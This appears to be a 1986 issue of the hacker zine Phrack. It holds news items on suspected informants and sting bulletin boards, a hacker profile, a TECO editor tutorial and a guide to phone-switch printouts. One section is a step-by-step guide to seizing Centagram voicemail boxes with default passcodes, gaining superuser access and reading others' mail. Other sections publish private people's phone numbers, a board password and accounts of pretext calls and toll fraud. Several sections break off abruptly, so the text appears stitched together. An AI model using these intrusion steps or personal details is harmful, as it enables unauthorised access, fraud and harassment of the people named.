+Some notes from Sally Ride:::Space Cadet +---------------------------------------- +Pisses me off! How dare they suggest we are not GENIUS computer programmers! Oh +wait a minute, I know why they screwed up the statistics! They haven't caught +the geniuses, so we throw off the statistical skew since we're still free. + +Also I think it's high time computer executives start accounting for their fair +share of computer crime! They probably don't get in the statistics either since +they pull off the really big money rip-offs and it doesn't get published by the +high power companies they work for so the public keeps faith in them. + + Information Provided By Sally Ride:::Space Cadet +_______________________________________________________________________________ + +Dan Pasquale: Still Hostile or Ancient History? September 8, 1986 +------------------------------------------------ +Some updated information on Sergeant Dan Pasquale (Fremont, CA Police +Department) aka The Revenger here. Supposedly he has been calling Oryan QUEST +on several occasions and filling in Oryan as to his plans on whom to bust. +However, an investigation into the truth of this matter shows otherwise. + +Most recently, Oryan QUEST informed me that Dan Pasquale was trying to gain +information on The Yakuza. I told The Yakuza about this and had him call Dan +himself to find out what was going on. + +Apparently he had no idea of who he was and had no idea of what he was talking +about. He just said he'd no idea what I was talking about. He also said that +he'd heard about a Shooting Shark incident much like this one. The Rocker of +Speed Demon Elite also has called him claiming a similar story. The weird +thing is, he also claims to not have talked to Oryan QUEST since around the +beginning of summer. [Please note that Shooting Shark and The Rocker have been +disliked by Oryan QUEST for some time and that situation has not changed]. + +Dan seemed pretty lax, didn't get excited, and seemed like a decent person all +around. He said he hadn't been on a board for at least 3 months and that board +was a legit one at that. He concluded by saying he didn't know who or why +these rumors were starting up. + +Some last things to add, Dan said that he isn't into busting phreaks/hackers +and all that stuff anymore. He just proved his point with Phoenix Phortress, +took his raise, and got out of the deal. He is now teaching at the academy and +is doing patrols. But, aside from that, he claims to have nothing at all to do +with the modem world. + + Information Provided By [%] The Yakuza [%] + + Please refer to past issues of Phrack World News for more + information on Dan Pasquale and/or Phoenix Phortress +_______________________________________________________________________________ + +Zigmond Exposed September 1, 1986 +--------------- +Finally after months of confusion and question, the truth about Daniel Zigmond +is out. It would appear that Zigmond is not an on-staff programmer at Carnegie +Mellon University after all, but instead was a sort of part time worker there. +Indeed, Daniel just graduated high school with the class of 1986 and currently +attends the University of Pittsburgh this fall. He started part time work at +CMU on April 1, 1984 (April Fools? Not this time). + +He does have a book coming out on Lisp programming which is what he did at +Carnegie Mellon. All of this information came from his boss at CMU. As for +Amiga World, Daniel has submitted a few articles, but he isn't "on staff." +This came from his Amiga World editor. + +The reason there is nothing listed in his TRW account now is obvious since he +is not old enough to have obtained credit cards, bought a car/house, or much of +anything else. + +Zigmond says he lied about his age because he thought he would get more +respect. He thought that people would think he was a rodent if they knew he +was only 17 years old. + +Daniel Zigmond received(s) quite a lot of prank phone calls, including a bomb +threat that brought the police to his house, and I ask everyone to stop. He +tried to screw around with the phreak/hack community, but no damage was done. +Its time to leave him alone because ragging serves no purpose. + +As for his article...only time will tell, but the general idea is that he made +that up too just so he could become involved with the phreak/hack community. + + Information Provided and Researched by Lucifer 666 +_______________________________________________________________________________ + +Maxfield Strikes Again August 20, 1986 +---------------------- --------------- +Many of you probably remember a system known as "THE BOARD" in the Detroit 313 +NPA. The number was 313-592-4143 and the newuser password was +"HEL-N555,ELITE,3" (then return). It was kind of unique because it was run off +of an HP2000 computer. + +On the Private Sector BBS (Sponsored by 2600 Magazine), Bill From RNOC had +posted a list of numbers that were related to John Maxfield and while none of +the numbers were anything close to the bbs number listed above, Bill reminded +us that Maxfield was the proud owner of an HP2000 computer. + +This started started several people (including Sally Ride:::Space Cadet and +myself) thinking that there might be a connection. Using resources that I +cannot reveal, I was able to prove that "THE BOARD" was indeed a +Maxfield/BoardScan operation. I also had learned that the BBS number itself +really had call forwarding to one of Maxfield's own numbers. On August 15, +1986 I made this knowledge semi-public and warned Sally Ride:::Space Cadet and +Ax Murderer (who lives locally to Maxfield). Unfortunately these warnings were +in vain because on August 20, 1986 the following messages were found and sent +to me by Sally Ride. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + Welcome to MIKE WENDLAND'S I-TEAM sting board! + (Computer Services Provided By BOARDSCAN) + 66 Megabytes Strong + + 300/1200 baud - 24 hours. + + Three (3) lines = no busy signals! + Rotary hunting on 313-534-0400. + + +Board: General Information & BBS's +Message: 41 +Title: YOU'VE BEEN HAD!!! +To: ALL +From: HIGH TECH +Posted: 8/20/86 @ 12.08 hours + +Greetings: + +You are now on THE BOARD, a "sting" BBS operated by MIKE WENDLAND of the +WDIV-TV I-Team.

Scott attended a convention in Miami around January and gave + his business card to one of our security people. I'm following up on + their conversation with the idea that perhaps my company could be given + access to Scott's electronic bulletin board. In this way we could monitor + for hackers abusing our codes. + +BG: That may be something we can arrange. I know that Scott has been a great + help to TMC since we were able to pick him up. We began to have a big + problem with hackers awhile back and Scott seems to have some of the + answers. He's not in right now, can I have your number and I'll have him + call you back? + +SR: You sure can. So, Scott's bulletin board has helped you reduce your + losses to toll fraud? + +BG: Well, that's just one of the ways Scott has used to work on the problem. + But, he has been very effective. + +SR: Thanks, Ben, I'll be waiting for the call. +------------------------------------------------------------------------------- +The following are highlights of conversation with Pauline Frazier of TMC from +around September 5, 1986 (Sally Ride: SR Pauline Frazier: PF) + +Operator: TMC, may I help you? + +SR: Yes, Ben Graves, please. + +Operator: I'm sorry, Mr. Graves is no longer employed here. + +SR: Oh!? Well, is Scott Higgonbotham in? + +Operator: One moment, please. + +PF: Hello, this is Pauline Frazier, I'm the office manager, may I help you? + +SR: Well, maybe, I was trying to reach Ben Graves, I just talked to him last + week about another one of your employees, Scott Higgonbotham, now the + receptionist says Ben no longer works here. + +PF: Yes, that is true, and neither does Mr. Higgonbotham. + +SR: May I ask why? + +PF: I'm really not able to say much, I think you should talk to our + Regional Security Director, Kevin Griffo, he's on 804-625-1110. He could + tell you much more than I can. + +SR: O.K., but maybe I should tell you why I'm interested. I was talking to + Ben about an electronic bulletin board Scott is running. My company has + someone on it and we're concerned that things might not be legal on there. + There are access codes being posted of my company's and yours'. Could + that be why they're no longer employed? + +PF: Do you mean he is posting TMC codes on there? + +SR: Well, I can't say he's the one posting the codes, but he is letting them + be posted, along with a lot of other information such as computer logins + and passwords. + +PF: Well, you know I never did like it when they hired that fellow. And, + I told them so, too. When he started we had a problem with toll fraud, + but nothing like it is now. He was able to catch a few of those hackers + while he was here, and we pressed charges, but the problem just seemed to + get worse and worse. + +SR: So, he actually had some hackers arrested? + +PF: Yes, several. He started working here in Charleston and then they + sent him to New York when things got bad up there. But, things never + have gotten any better since he's started here or in New York either. + Sir, please, call Mr. Griffo about all this he can tell you more than I. + +SR: I will. Do you think he'd be in now? + +PF: Well, it's late here and he's probably gone home, try Monday. + +SR: Thanks, I will. + + (But you told me plenty, sweetheart!) + +[For the record I had a VERY similar chat with Pauline Frazier, it turned up +the same results.] +------------------------------------------------------------------------------- +The following are highlights of a conversation with Kevin Griffo, TMC, +September 9th (Sally Ride: SR Kevin Griffo: KG). + +Oper: TMC, may I help you? + +SR: Yes, Kevin Griffo, please. + +Oper: His line is busy now, can he call you back? + +SR: Well, this is urgent, may I hold? + +Oper: Certainly, I'll let him know you're holding. + +KG: Hello, this is Kevin. + +SR: Mr. Griffo I've been referred to you by one of your Charleston employees, + Pauline Frazier. She felt I should tell you what I told her yesterday + about one of your now former employees, I think, Scott Higgonbotham. + +KG: Yeah, we let him go just last week. What about him? + +SR: My company feels Scott is running an illegal BBS and has for sometime been + allowing access codes to be posted. Codes for your company's toll + switches as well as ours and other's are being entered on his system as + well as computer system logins and passwords. + +KG: Well, I'm not surprised. I have been to Scott's home to see the bulletin + board. I knew codes were being posted, but I thought he was taking care + of reporting them. + +SR: May I ask why you let him go? + +KG: Certainly, Scott just wasn't solving our problems. In fact, some of our + people have thought he was somewhat to blame for many of them. Even + though, at first, he appeared to be the answer. He was able to identify + several computer hackers for us. + +SR: So, he did bust some hackers? Has he done so recently? I think a young + man using the name Shawn on the bulletin boards was recently identified by + your company. + +KG: No, he hasn't gotten anyone recently that I'm aware of, but he could have + turned them over to one of the local franchises. You see TMC is a + franchise operation. We try to help the franchises, but many do their + own thing. We wouldn't necessarily know about all that goes on. + +SR: I'm sorry to hear you had this trouble. Perhaps, my company could + be of assistance. We do work of a similar nature. + +KG: I'd certainly be interested in any help you could give. Can you put + together a written proposal? +------------------------------------------------------------------------------- +I also had an interesting conversation with Larry Algard of Pacific Northwest +Bell. He confirmed that he had met Scott Higgonbotham at the Miami CFCA +conference last January. He also mentioned that Scott had told him about his +"sting" bulletin board, Pirate-80 in West Virginia. + +For those who are interested: + +TMC (Charleston Office).......................304-345-7275 +Pauline Frazier, Office Manager (TMC).........See above +Jeff Namey, Accounts Receivable (TMC).........304-744-6555 +TMC (Miami Office)............................305-371-3544 +TMC (Tidewater)...............................804-625-1110 +Larry Algard (Pacific North West Bell)........503-242-8862 +Pacific North West Bell (Employee Directory)..800-426-7039 + +Or write to; TMC + 405 Capitol St. + Parlor Suite + Charleston, West Virginia 25301 + +All the thoughts in []'s and other information are the insane ramblings of +Sally Ride:::Space Cadet and Knight Lightning, you tell me, are we spaced out +or what?! The TMC employee interviews were by Sally Ride:::Space Cadet with +me doing the background information. + +It was at this point in time that we decided to have a talk with Scan Man +directly and give him a chance to clear his name and reputation. + +Unfortunately, Scan Man was very uncooperative and constantly avoided answering +the questions I asked him. He also added that everything said in the +interviews were lies. He claims that Kevin Griffo has never been to his house, +he doesn't know Ben Graves, and Pauline Frazier hated him because she knew he +was a hacker. + +He then went on to imply that Sally Ride:::Space Cadet was actually an employee +of some communications carrier himself because of the terminology he used in +some of his posts on P-80. + +Scan Man claimed that he has been telling people that he worked for TMC for +quite some time and he only needed the codes from Shawn because he was going to +be in Miami later that week. In other words, Shawn's near bust and his asking +for TMC codes may have been a simple coincidence. + +He claims to have done system analysis for TMC, but also admitted to securing +some of their computer systems, which isn't a crime. + +As for his being at the Miami CFCA conference, I will assume that he was +infiltrating the con and was spotted as being a hacker. In order to gain the +respect and confidence of the security officials, he told them that his +bulletin board was a sting. Now, that story completely is believable with the +exception of how he arrived, a plane trip paid for by TMC. + +Scan Man's last words contained a threat that if this affected his home life, +he would personally track down the writers and contributors and shoot them with +his rifle. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Notes from KL: + +One thing that I should mention is the fact that Pirate-80 has *NEVER* been +busted or investigated. I mean its not hard to get onto and there are codes +plastered everywhere you look. How many boards do you know of that have been +busted for having codes on them? One example of this is with the credit card +numbers owned by Richard Sandza, author of "The Night Of The Hackers" and "The +Revenge Of The Hackers," both printed in Newsweek Magazine. + +"It wasn't long before I found out what was being done with my credit-card + numbers, thanks to another friendly hacker who tipped me to Pirate 80, a + bulletin board in Charleston, W. Va., where I found this: 'I'm sure you guys + have heard about Richard Standza [sic] or Montana Wildhack. He's the guy who + wrote the obscene story about phreaking in NewsWeek [sic]. Well, my friend + did a credit card check on TRW...try this number, it's a VISA...Please nail + this guy bad...Captain Quieg [sic].'" + +See this? This was published in "The Revenge Of The Hackers" in Newsweek +Magazine! And what happened to P-80? Nothing! Here Richard Sandza has just +announced to thousands of people that P-80 has credit card numbers posted on it +and nothing happened. Why? The answer to that is left to the reader. + +There are a few other things to mention about Scan Man/P-80/TMC. Supposedly +all of the computer equipment that P-80 runs on was donated by TMC themselves. +It is also believed that Scan Man's only duty to the company was to report TMC +codes so that they could be turned off. It would appear that this had changed +but, we at Phrack Inc. in no way take any opinion whatsoever about the +innocence or guilt of Scan Man. We leave it to the reader to decide for +him/herself. + +I'm sure all parties concerned would appreciate you NOT calling the above +numbers if all you plan to do is harass people or anything else among those +same lines. After all a job is a job and harassing someone wouldn't do +anyone any good either, it would just make them mad. If you are going to call, +make sure it is for knowledge purposes only! Above all do NOT call Scan Man to +harass him or his innocent family. My suggestion is that if you feel that Scan +Man is an informant or whatever, then stop just calling his board. + +One last thing, a *VERY* big thank you to Sally Ride:::Space Cadet for a job +well done and for all the time he spent working on the article. + + Information Provided by + + Knight Lightning & Sally Ride:::Space Cadet + + and directly/indirectly by + + Blade Runner/Evil Jay/Forest Ranger/Icarus 1/Jack The Ripper/Jim Rath +Johnny Rotten/Larry Algard/Max Madness/Oryan QUEST/P-80 Systems/Scan Man/Shawn + Suicidal Nightmare/Taran King/The Falcon/TMC Staff + + and other Anonymous Sources + +------------------------------------------------------------------------------- +PS: For those interested, this investigation was sparked by the interception of + a memo from Larry Algard (Pacific Northwest Bell) to his boss, George Reay. + What was in the memo?

He obtained his first blue +box by January, 1972. He started hacking in 1975 after obtaining a TI Silent +700 Series, Model 700 exceedingly dumb terminal. He stumbled upon ARPAnet in +Massachusetts, the bridge at MIT...1 hour later, he figured out how to get +on. He toyed with the MIT exchange and found the MULTICS system and their +artificial intelligence system. They were just beginning to use a language +called LISP at the time. He also helped with the building of the ALTAIR +8080B, holding 22 slots for cards 4 inches thick, 18 of which were used to get +16K on the computer. He helped out NY Telephone with "Let's Get Together", a +game at fairs which utilized Area Codes for answers. He also was involved +with the standard old phone phreak tricks like a loop around the world from +one phone booth to the one next to it. His first computer was a Commodore 64 +due to the cost to him (free) and it was easier to upgrade than the Apple IIe +(pick up a brochure on Commodore and see how many voices it has as well as the +tone range...I'm sure that it covers 2600 hz quite nicely). + +Members of the telecom world which he has met include Cheshire Catalyst, +Captain Crunch, Steve Wozniak, and Bill Gates (head of Microsoft). He has met +many phone phreaks at science fiction conventions, but doesn't know them by +name or handle. + +------------------------------------------------------------------------------- + + Interests: Telecommunications (modeming, phreaking, hacking), + telecomputing, science fiction, short wave radio, scanner + listening, classic music, and shooting. + +The Nightstalker's Favorite Things +---------------------------------- + + Women: Goes without saying; preferably ones involved in science + fiction as an interest or a hobby. + Sci-Fi Cons: He attends many and has met many phreaks through them. +Short wave radio: As previously mentioned, scanning. + Hack: A classic hack (scam), participating in or hearing of. + Anarchy: Confusing people with authoritative positions. + Shooting: Target shooting or machine guns. + Space programs: Obsessed since Sputnik program. + +Most Memorable Experiences +-------------------------- + +Machine gun gallery in Atlanta, Georgia. Lots of fun! +First time he hacked his way into a trade show. +Boxing a call to AUTOVON and to Lebanon during U.S. occupancy and billed the + call to the local KKK member. + +Some People to Mention +---------------------- + +Ron Rosenbaum (wrote the Esquire article on Blue Boxes [all his fault]). +Various science fiction authors. +Wozniak and Jobs (for inventing the Apple). +MIT (for inventing the Altair computer). +Marx Brothers (for his anarchial views towards bureaucracy). +Robert Shea and Robert Anton Wilson (wrote Illuminatus Trilogy [recommended]). +John Draper (for showing us all how it was done). +Original MIT Hackers (for showing us the light). +AT&T (for providing us with this wonderful Network). + +------------------------------------------------------------------------------ + +The Nightstalker is not fond of the current society that claims themselves as +hackers or phreakers but don't learn the systems themselves. These aren't the +real hackers that sit down and literally hack away at a system. Pirates +aren't hackers. Just because you have a computer doesn't mean you're a +hacker. Another thing he's displeased about is the term "hacker" used by the +media as anyone owning a computer. He considers the people that destroy +systems criminals and fiends, not hackers. Those that find the back doors and +something unknown about a system non-malevolently or without profit in mind +are true hackers and phreakers. + +About computers, The Nightstalker has strong feelings about the symbolisms of +the brand names as status symbols in society. He feels, rather than buying +the computer because it's the most expensive, the neatest looking, or what +everyone else has, you should buy it for it's capabilities which can help you +rather than hypothetical situations many computer advertising agencies use. + +------------------------------------------------------------------------------ + +I hope you enjoyed this phile, look forward to more Phrack Pro-Philes coming +in the near future. ...And now for the regularly taken poll from all +interviewees. + +Of the general population of phreaks you have met, would you consider most +phreaks, if any, to be computer geeks? He feels that the term, "computer +geek" or closer, "geek" is too relative to be able to generalize. There have +been people that he's met, though, that he'd not wish to exist on the same +planet with. Thanks for your time, Mr. Nightstalker. + + Taran King + Sysop of Metal Shop Private + + ==Phrack Inc.== + + Volume One, Issue Nine, Phile #3 of 10 + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + % % + % Oryan Quest presents... % + % % + % Fun With the Centagram VMS Network % + % % + % Written 10/13/86 for Phrack Inc. % + % % + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + +Introduction: + + Centagram VMS networks are located throughout the country. This file will +briefly outline ways of defeating all Centagram security and how to become a +superuser. I take full responsibility for any deaths, injuries, or venereal +diseases resulted from use of the information in this file. + + +Finding the idle VMS: + + Generally, the easiest way to find an idle VMS is by scanning the last +digits in the net (ie: XX99, XX98, XX97 etc.). The idle VMS will identify +itself by saying, "Please leave your message at the tone" or something to that +effect in a clear, female, synthesized voice. It will not sound unclear in any +way. AHA! You've found your victim. + + +Attacking the idle VMS: + + While the "Please leave.." message is playing, hit 0. It will ID itself +as "Mailbox XX99, please enter your passcode". If the mailbox does not say the +above message then DON'T fuck with it. It is probably in use and any effort +you make to hack it will be useless because it will just get taken over again. +At this point, you must hack a 4 digit passcode. The usual defaults are as +follows are 5000, 9876, 1234, and any # is that order. Usually, most accept +1000, 2000, 3000, etc. I don't think 4 digits is to much to ask. W0W! Your in! +It will then tell you how to change your passcode and generally customize your +newly stolen VMS. + + +Hopping around the net: + + Suppose you have a friend that has mailbox 5286 and want to read his mail +(if you have their passcode) or just want to listen to their announcement. You +enter 9 on your VMS command module to logoff while it is saying "You have X +messages remaining. Bye!" you enter the # or a 0. It will then ask you for a +four digit extension. You enter 5286 and WHAM! you get their announcement. +Now, wasn't that fun. + + +Becoming the superuser: + + So, you want to fly higher than no man has ever done before; you want to +leap high building in a single bound; you want to be a stud. Well, listen to +Oryan, he'll tell you how. Well, remember how you jumped across the net?? You +follow the same procedure but, when it asks you for a four digit extension, +you enter 9999 or 9998 or even 0000. If you were successful, it will ask you +for a second four digit extension. You will have to hack this one on your own. +But, I have found on at least 3 nets that it was 1986 or 1987. Gee, people are +dumb aren't they? Once you hacked this, it will give you an expanded menu. +WOW! You can now, read anyone's mail, take over VMS's and disconnect VMS's. +Other commands depend on the net. But you can bet there are always a bunch of +k-rad commands! + + +Conclusion: + + I hope you have enjoyed this file. Watch for updated versions in Phrack. +If you have problems finding Centagrams, here are a few nets: 214-733-XXXX, +415-647-XXXX, 408-790-XXXX. I can be reached at 214-733-5294. Don't play with +my net. If I see idle mailboxes getting taken over I will just get rid of +them. There are plenty of other networks.

I feel it is +unneeded to do a write up on the other editors such as EDT, a screen editor +for VT100 and VT52 terminals, and EDFOR, a FORTRAN text editor, as most +hackers will not have the proper hardware/software at their disposal. + This file does not contain many tricks, but has straightforward information +that most assuredly can be found in the user manual. Since not everyone has +access to help documents though, this file will provide a base for the first +time editor user and hopefully a reference for the experienced. If you feel +otherwise.. don't waste your time reading it. + Following the main portion of the file is an updated copy of the decoy +trick I promised to revise that was featured in my first file. Hopefully, (I +am not promising though), I have succeeded in removing all the bugs this time. + +USES +==== + + A text editor, for those of you that happen to be brain dead, is a utility +similar to the word processor you use everyday on your micro: it allows a +person to create, modify, and compile text files. But, also can edit, and if +need be, create program files. For these reasons and many others, knowing how +to use an editor thoroughly can be a major advantage to the hacker on future +explorations. + +EXECUTING +========= + + Typing TECO invokes the TECO text editor. If TECO is just typed without any +modifiers, then the file edited last will be placed in the editing buffer. +(More on this subject can be found below under MEMORY.) To edit a different +file, or create a new file, the following forms are used: + +TECO filename.ext To edit an existing file. +TECO outfile.ext=infile.ext To edit from one file to another. +MAKE filename.ext To create a new file. + + Other ways to execute TECO involve VT terminals, but we are not going into +that much detail within this text. + +INITIALIZATION +============== + + If there is a file named TECO.INI in your directory when TECO is invoked, +it is assumed to be the macro settings for a VT terminal. We don't need to +bother with those, so make sure to disable the search by appending the switch +/NOINI on execution. + +MEMORY +====== + + Each time TECO is executed, the name of the file being edited is placed +into another file titled TECFnn.TMP where nn is your job number. If you invoke +TECO and wish to edit a file different than the one currently in the memory +file, select the switch /NOMEMORY. + +MODIFIERS +========= + + There are a number of options, called switches, which modify the execution +of the TECO utility. Some like /NOINI and /NOMEMORY I have previously +mentioned. Other important switches follow along with a short description of +each. To select one of these options, append it to the call string when you +invoke TECO: + +TECO filename.ext /[option1] /[option2] ... + +/FIND This places the pointer at + the last marked position + within the input file. +/INSPECT If selected, you can only + read the file, not edit. + + There are a few more that deal with the VT terminals, but as I've said +already, there is really no need to list them. + +INTERRUPT +========= + + The control character 'C' (CTRL/C or ^C -which it shall from now on be +referred to as.) is used to halt the execution of the current TECO command, +the same as it does in the BASIC monitor. If ^C is typed twice without a TECO +command in between, the utility is aborted. (You are returned to the keyboard +monitor whichever it was.. eg. BASIC, BASIC+2, RSX..) + +COMMAND EXECUTION +================= + + When TECO is called, you will receive the * prompt. This is the command +prompt. Almost all commands used by the editor are one or two characters in +length and are typed in using a normal ASCII keyboard. To terminate a TECO +command the sequence is used. When typed, it will echo back as a $ +character. Two consecutive s must be entered before a command will be +carried out. This allows you to string together a line of commands like: + +* [command1]$[command2]$[command3]$ ... $$ + +COMMANDS +======== + + ]Moving the Pointer[ + + The text pointer is used to represent where you are working, ie. if you +were to enter a command, what part of the text it would affect. It's similar +to the job your cursor does when writing a program on your micro. + +'J' + + The "J" command is used to move the text pointer to the beginning or end of +the editing buffer. + + BJ Move to the beginning of the buffer. + ZJ Move to end of the editing buffer. + +'L' + + The "L" command moves the text pointer from one line to another. Common +forms of the command are: + + L Move to beginning of the next line. + 0L Move to front of current line. + 3L Move to the third line down from the current line. + -1L Move back to previous line. (One above current.) +... + +'C' + + The "C" command is used to move the text pointer past a specified number of +characters, forward or backwards, on the current line. Common forms include: + + C Advance the pointer to the next character. + 5C Move the pointer forward five characters. + -5C Move back five characters. +... + + ]Listing Text[ + + There is one command with a couple various forms to list the text within +the editor; they follow. + +'T' + + The "T" is used to list text from the editing buffer. Commonly found forms +are: + + HT Print the entire contents of the editing buffer. + T Type text from the pointer to the end of the current line. + 0T Type text from the beginning of the line to the text pointer. + 5T Print the next five lines of text from the buffer, starting where + the pointer is located. +... + + ]Entering Text[ + + What use is an editor if you can't add to the text? There is one command, +insert, which allows you to write. If you are creating a file from scratch, +you would enter the insert command each time you wanted to add a new line to +your document. + +'I' + + The "I" command is used to insert text into the buffer. After issued, the +text entered will be placed where the text pointer is located. The command is +of the form: + + I + +For example, to insert the sentence, "This is an example.", type: + + IThis is an example$ + +(Note: Remember that echoes back to your screen as $) + + ]Deleting Text[ + + The TECO text editor makes it easy to delete words, sentences, etc. from +the buffer. There are two different commands used, line delete, and letter +delete. + +'K' + + The "K" issued when you choose to delete lines of text from the editing +buffer. Common forms are as follows: + + K Delete the text from the pointer through the end of the current + line. + 0K Delete the text from the beginning of the line to through the + pointer. + 5K Omit the following five lines from the buffer. + HK Kill the entire contents of the buffer. +... + +'D' + + The "D" appropriately is used to delete individual characters. A few of the +forms found are: + + D Delete the character which follows directly after the text pointer. + 5D Delete the following five characters from the text, starting from + the pointer. + -1D Delete the character directly behind the pointer. +... + + ]Searching[ + + All good word processors include a routine to search and replace a string +of text. So does the TECO text editor. Two forms are used, the locate text, +and the search and replace text commands. + +'S' + + The "S" is used to locate a specified string of text currently in the +editing buffer. If the text is found, the pointer is positioned directly after +the specified text. If the string is not found, an error message results and +the text pointer is placed at the beginning of the buffer. + + S + +For example, to locate "This is an example.", enter: + + SThis is an example.$ + +'FS' + + "FS" for find and replace does exactly that. It searches for a specified +string of text, and if found replaces it with another sting of text. If the +specified text is not found though, the pointer is positioned at the beginning +of the buffer just like the "S" command. The "FS" command is of the form: + + FS + +For an example, to replace "hullo" with "hello!", use the command: + + FShullo$hello!$ + + ]Saving[ + + To save the new version of the file which you have been editing, you enter +the exit command and it shall be saved in your directory. Remember though, if +you wish to quit but not replace a file with your edited version, just type ^C +twice. + +'EX' + + The "EX" command is used to write the current buffer to the output file, +then exit from TECO. For example: + + EX$$ + +(Note: Remember that is echoed as $, and typing twice causes +a command to be executed.) + +FLAGS +===== + + The TECO text editor is not limited to the commands already shown. The +editor has a few flags which can be entered at the * prompt that will modify +the TECO environment. + To examine the value of a flag type: + + [flag]x + +Where [flag] is the specified flag and x is a numeric argument which returns +text. To set the value of a flag enter: + + x[flag] + +Where x is the number or command being specified for the flag [flag]. + +'EH' + + EH is the error handling flag. Here's the table of arguments and their +meanings: + +Value Meaning + + 1 If an error is encountered within the operation of TECO, only the + 3-character error code is printed. + 2 If an error is encountered during operation, a short message + explaining the error is printed. (default setting) + 3 If an error is encountered, the command(s) which led to the error + are printed. + +'ET' + + ET, or Edit Terminal, is the command for modifying terminal output. Table +of arguments follows: + +Value Meaning + + 1 Output is in image mode. + 2 Terminal in use is a scope. + 4 Terminal in use has lowercase available. + 8 ^T is read without echo. + 16 Cancels ^O during output. + 128 TECO aborts if an error is encountered. + 256 Output to screen is truncated to the terminal's width. + 512 VT terminal support available. + 1024 (same as above) +32768 Traps ^C + +'^X' + + ^X, the last flag I'll mention, deals with searches. (Look above for the +command to search.) + +Value Meaning + + 0 Either case matches during searches. + 1 An exact case match is required to complete a search. + + +CONCLUSION +========== + + That just about wraps up the TECO text editor.. boring eh? But as I've said +time and again, editors are important to hackers. + + Till next time... + + Solid State +>>>PhoneLine Phantoms! + +_______________________________________________________________ +File1- Addendum: + + Here's the updated version of the decoy program (yeah, the one that had an +error!) that was featured in File1.

I don't know how far I will go in this +first segment so whatever I don't finish will be completed in parts two and +three. + +Introduction +============ + + Have you ever gone trashing and the only thing you found was a large +printout that looked like it was written in Chinese? Did you curse yourself +because you spent 30 minutes digging through someone's lunch and digestive +rejectables and the only thing that was readable was a large spool that +contained such acronyms as TRUNK and CAMA and LATA linked by foreign letters +that you never thought could be conjugated? Well, in this 3 part series, I +hope to show you that that large printout with coffee stains isn't all +useless. + +Types of Measurements +===================== + + Now, the way your CO determines how well it is serving you is by the +Plant Measurement. The purpose of these measurements is to provide maintenance +personnel with a quantitative summary of the condition of the hardware and its +impact on customer service. + This data is printed out at the system terminal and is used to alert +personnel about problems before they occur. + + Plant Measurement data is printed on the maintenance terminal via the +following output messages: + + 1. PM01 - The PM01 is a daily printout which is printed daily at 2:30 am. + + 2. PM02 - The PM02 is a monthly summary printed immediately after the + daily PM01 printout only on the 23rd of each month. + + 3. PM05 - The PM03 is a daily printout which is printed after the PM01 or + PM02 (on the 23rd). The PM05 is utilized in offices equipped + with the AUTOPLEX System 100 (Advanced Mobile Telephone + Service). + + 4. PM03 - This is a daily or monthly printout which is available upon + manual request. + +------------------------------------------------------------ + +The counts provided by the plant measurement are basically 3 types: + + 1. Customer Service Measurements + 2. Hardware Performance Measurements + 3. Base Measurements + + + Customer service measurements are a measure of the service received by +the customer as influenced by the condition of the system's hardware. These +include the number of calls to billings that are offered to the system but are +delayed or lost because of marginal or faulty equipment. + + Hardware Measurements are an indication of the condition of the system +hardware which is described in terms of the number of errors, trouble +indications, and out of service intervals. These measurements may not reflect +customers directly, but do indicate how well the system is functioning. + + Base Measurements that are provided are counts of the total calls carried +by the system broken into various categories. These counts are necessary to +normalize service counts and performance counts of mechanical units if +comparisons are to be made of offices with dissimilar traffic characteristics. + + +Daily PM01 Output Message +========================= + + The daily Plant Measurement data in the PM01 output message is organized +as follows: + + o Base Measurements + o Selected Customer Service Measurements + o Maintenance Measurements including emergency action + (EA), maintenance interrupts, and network failures + o Performance measurements of system hardware including + the central processor and bus system + o Coded enable peripheral units, peripheral units, and + trunk and service circuits. + o Time-Out totals + o Attached processor measurements + o Circuit Switch Digital Capability measurements + o Improved Public Telephone Service measurements + o Remote Switch System measurements + +=================== +=Base Measurements= +=================== + + The base measurements provided by the PPMP1A00 are needed to normalize +the service counts and performance counts of units whose uses vary with the +traffic load. By using these counts, meaningful comparisons can be made with +past performance and with the performance of offices with dissimilar traffic +characteristics. The counts are taken in terms of carried load (excluding all +traffic overflow). + +The BASE MEASUREMENTS are as follows, with the printout in parenthesis: + +1. Originate Calls (ORIG CALLS): Counts the number customer receiver seizures + for which at least 1 digit is received. The count includes partial dials + (but not permanent signals) as well as additional partied added to a + conference circuit. The PPMP1A00 obtains this from the traffic measurements + program. + +2. Incoming Calls (INC CALLS): Counts the number of calls originating from + trunks incoming from distant locations that seize an incoming register (and + in the case of a by-link, receive one digit). The PPMP1A00 obtains this + count directly from the traffic measurements program. + +3. Outgoing Calls (OUTG CALLS): Counts the number of calls for which + outpulsing is required and a transmitter is successfully seized. + +4. Coin Control Seizures (COIN CONTR SEIZ): Counts the number of times the + coin control circuit is successfully connected to a coin line. This count + will exceed coin line originations as the coin control circuit may be + seized more than once during a call. + +5. CAMA Seizures (CAMA SEIZ): Counts then number of times an incoming CAMA + trunk (operator or ANI) is seized. + +6. AMA Entries (AMA ENTRIES): Counts the number of billing entries put on AMA + tape. + +7. Automatic ID. Outward Dialing Seizures (AIOD SEIZ): Counts the number of + successful connections to an AIOD receiver. + +8. Centrex Data Link Seizures (CTX DL SEIZ): Counts the number of connections + to a centrex DL for transmission or reception of lamp and key orders. This + is NOT a count of centrex calls. + +9. Output Message Register (OMR SEIZ): Counts the number of seizure output + message registers. + +====================== +=Service Measurements= +====================== + + The service measurements give valid indications of the level of customer +service. A count of the calls lost by the system, as a result of hardware +malfunctions, is a significant measure of the influence of the condition of +the central office hardware on customer service. The following service +measurements are provided. + +1. Hardware Lost Calls (HWR LOST CALLS): Counts the number of calls dropped + when a trunk is suspected and is placed on the trunk maintenance list (TML) + for diagnosis or when a network failure has occurred on the call. + +2. Hardware Lost Billing (HWR LOST BILLING): Counts the number of calls not + billed because both AMAs are out of service (local, long distance, and + special service calls are allowed to proceed without billing). + +3. Coin Control Failures (COIN CONTR FAILURES): Counts the number of stuck + coin conditions and coin telephones served by the office which had coin + relays that were out of limits. + +4. Automatic Identification Outward Dialing Special Billing Number Billing + (AIOD SBN BILLING): Counts the number of times the AIOD equipment fails to + bill a local PBX number correctly. + +5. Dial Tone Speed Test (DTST): Counts the number of times the customer has to + wait an excessive amount of time for the system to process the call because + trunks in the desired trunk group are busy or the system is overloaded, + causing queuing for equipment. The count includes 